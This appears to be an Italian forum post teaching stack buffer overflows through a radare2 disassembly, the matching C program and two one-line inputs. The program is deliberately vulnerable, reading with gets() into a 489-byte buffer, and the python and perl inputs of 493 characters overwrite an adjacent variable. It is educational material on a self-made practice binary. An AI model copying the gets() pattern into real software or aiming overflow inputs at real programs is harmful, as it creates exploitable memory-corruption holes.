buffer overflow (o buffer overrun), in informatica, è una condizione di errore che si verifica a runtime quando in un buffer di una data dimensione vengono scritti dati di dimensioni maggiori
radare2
[0x00400566]> pdf ;Print Disassemble Function
; DATA XREF from entry0 @ 0x40048d(r)
; int main (int argc, char **argv, char **envp);
; var uint32_t var_4h @ rbp-0x4
; var char *s @ rbp-0x1f0
0x00400566 55 push rbp
0x00400567 4889e5 mov rbp, rsp
;496 byte vengono allocati sullo stack, 489 byte del buffer, + 4 byte per la variabile intera, + 3 byte di allineamento
0x0040056a 4881ecf00100. sub rsp, 0x1f0
0x00400571 c745fc000000. mov dword [var_4h], 0
0x00400578 488d8510feff. lea rax, [s]
;char *s
0x0040057f 4889c7 mov rdi, rax
0x00400582 b800000000 mov eax, 0
;la get da input stream della stringa
0x00400587 e8c4feffff call sym.imp.gets
0x0040058c 837dfc00 cmp dword [var_4h], 0
;salta se la variabile g è ancora zero
0x00400590 740a je 0x40059c
;se invece la variabile intera g è stata sovrascritta dal buffer overflow, stampa la stringa
0x00400592 bf38064000 mov edi, str
0x00400597 e894feffff call sym.imp.puts
0x0040059c b800000000 mov eax, 0
0x004005a1 c9 leave
0x004005a2 c3 ret
;il codice in linguaggio C;
#include <stdio.h>
#include <stdlib.h>
int main()
{
char buffer[489];
int g;
g = 0;
gets(buffer);
if(g)
{
printf("Hai sovrascritto la variabile g allocata sullo stack dopo il buffer di 489 caratteri;\n");
}
}
echo `python -c 'print "1"*493'` | ./bufferoverflow
Hai sovrascritto la variabile g allocata sullo stack dopo il buffer di 489 caratteri;
echo `perl -e 'print "A"x493'` | ./bufferoverflow
Hai sovrascritto la variabile g allocata sullo stack dopo il buffer di 489 caratteri;
Edited by AKIRA BASHO - 29/10/2023, 18:43